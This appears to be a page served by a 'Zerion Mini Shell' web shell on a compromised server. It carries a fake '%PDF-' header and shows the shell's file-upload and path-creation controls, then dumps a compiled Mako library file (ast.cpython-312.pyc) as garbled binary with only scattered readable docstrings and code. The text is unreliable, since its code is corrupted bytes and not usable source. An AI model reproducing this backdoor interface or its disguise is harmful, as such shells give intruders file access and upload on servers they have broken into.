%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/mako/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/mako/__pycache__/ast.cpython-312.pyc

�

���e����dZddlZddlmZddlmZGd�d�ZGd�d�ZGd	�d
e�ZGd�d�ZGd
�de�Z	y)zjutilities for analyzing expressions and blocks of Python
code, as well as generating Python from AST nodes�N)�
exceptions)�pyparserc��eZdZdZd�Zy)�
PythonCodez<represents information about a string containing Python codec��||_t�|_t�|_t	|t
�r&t
j|j�dfi|��}n|}t
j|fi|��}|j|�y)N�exec)�code�set�declared_identifiers�undeclared_identifiers�
isinstance�strr�parse�lstrip�FindIdentifiers�visit��selfr	�exception_kwargs�expr�fs     �*/usr/lib/python3/dist-packages/mako/ast.py�__init__zPythonCode.__init__so����	�%(�E��!�'*�e��#��d�C� ��>�>�$�+�+�-��L�;K�L�D��D��$�$�T�>�-=�>��	����
�N��__name__�
__module__�__qualname__�__doc__r�rrrrs
��F�rrc��eZdZdZd�Zy)�ArgumentListzBparses a fragment of code as a comma-separated list of expressionsc�j�g|_g|_t�|_t�|_t|t�rItjd|�rtjd|�s|dz
}tj|dfi|��}n|}tj|tfi|��}|j|�y)Nz\Sz,\s*$�,r)�codeargs�argsr
rrr
r�re�matchrr�	FindTuplerrrs     rrzArgumentList.__init__6s�����
���	�$'�E��!�&)�e��#��d�C� ��x�x��t�$�R�X�X�h��-E������>�>�$��C�2B�C�D��D����t�Z�D�3C�D��	����
rNrr rrr"r"2s
��L�rr"c�"��eZdZdZ�fd�Z�xZS)�PythonFragmentz�extends PythonCode to provide identifier lookups in partial control
    statements

    e.g.::

        for x in 5:
        elif y==9:
        except (MyException, e):

    c����tjd|j�tj�}|st	j
d|zfi|���|j
d�r|d|jd�}|j
dd�\}}|dvr|dz}nJ|dk(r|d	z}n?|d
vr	d|zdz}n2|dk(r	d
|zdz}n$|dk(r|dz}nt	j
d|zfi|���t�|�$|fi|��y)Nz^(\w+)(?:\s+(.*?))?:\s*(#|$)z0Fragment '%s' is not a partial control statement���)�for�if�while�pass�tryzpass
except:pass)�elif�elsezif False:pass
�exceptz	try:pass
�withz!Unsupported control keyword: '%s')
r'r(�strip�Sr�CompileException�group�start�superr)rr	r�m�keywordr�	__class__s      �rrzPythonFragment.__init__Us����H�H�4�d�j�j�l�B�D�D�I����-�-�B�T�I��"��
�
�7�7�1�:���!�'�'�!�*�%�D��'�'�!�Q�-���$��,�,��&�=�D�
��
��-�-�D�
�(�
(�$�t�+�f�4�D�
��
 ��$�&��/�D�
��
��&�=�D��-�-�3�g�=��"��
�	����2�!1�2r�rrrrr�
__classcell__�rAs@rr+r+Hs���	�3�3rr+c�0�eZdZdZdd�Zdd�Zed��Zy)�FunctionDeclzfunction declarationc�B�||_tj|dfi|��}tj|fi|��}|j	|�t|d�st
jd|zfi|���|s3|jr&t
jd|jdzfi|���yy)Nr�funcnamez'Code '%s' is not a function declarationz('**%s' keyword argument not allowed here���)
r	rr�	ParseFuncr�hasattrrr;�kwargs�
kwargnames)rr	�allow_kwargsrrrs      rrzFunctionDecl.__init__us�����	��~�~�d�F�?�.>�?�����t�8�'7�8��	����
��t�Z�(��-�-�9�D�@��"��
������-�-�:��/�/�"�%�&��#��
�!,�|rc�`�g}|jddd�}|jddd�}|jddd�}|jddd�}|jr#|jd|j
d�z�|D]�}|r|j|�d|����|r]|j
d�}|�|j|��C|j|�dtj|�j�����{|j|���|jr#|jd|j
d�z�|D]`}|s|s|j|��|j
d�}|j|�dtj|�j�����b|j�|S)aEReturn the argument declarations of this FunctionDecl as a printable
        list.

        By default the return value is appropriate for writing in a ``def``;
        set `as_call` to true to build arguments to be passed to the function
        instead (assuming locals with the same names as the arguments exist).
        NrIz**r�=�*)�argnamesrM�defaults�
kwdefaultsrL�append�popr�ExpressionGenerator�value�varargs�reverse)	r�as_call�	namedeclsrRrMrSrT�name�defaults	         r�get_argument_expressionsz%FunctionDecl.get_argument_expressions�s����	��=�=��2��&���_�_�T�r�T�*�
��=�=��2��&���_�_�T�r�T�*�
��;�;����T�J�N�N�1�$5�5�6��	'�D��� � �D�$�!7�8��$�.�.��+���?��$�$�T�*��$�$���!=�!=�g�!F�!L�!L�!N�P��
� � ��&�#	'�(�<�<����S�8�<�<��?�2�3��	�D��h�� � ��&�"�,�,�q�/��� � ��X�9�9�'�B�H�H�J�L��	�	�����rc�X�t|j�t|j�zS)N)�tuplerRrM)rs r�allargnameszFunctionDecl.allargnames�s���T�]�]�#�e�D�O�O�&<�<�<rN)T)F)rrrrrr_�propertyrbr rrrFrFqs$����$7�r�=��=rrFc�"��eZdZdZ�fd�Z�xZS)�FunctionArgsz.the argument portion of a function declarationc�,��t�|�d|zfi|��y)Nzdef ANON(%s):pass)r>r)rr	rLrAs   �rrzFunctionArgs.__init__�s���
���,�t�3�>�v�>rrBrDs@rrere�s���8�?�?rre)
rr'�makorrrr"r+rFrer rr�<module>rhsP��5�
�����D��,&3�Z�&3�RQ=�Q=�h?�<�?r

Zerion Mini Shell 1.0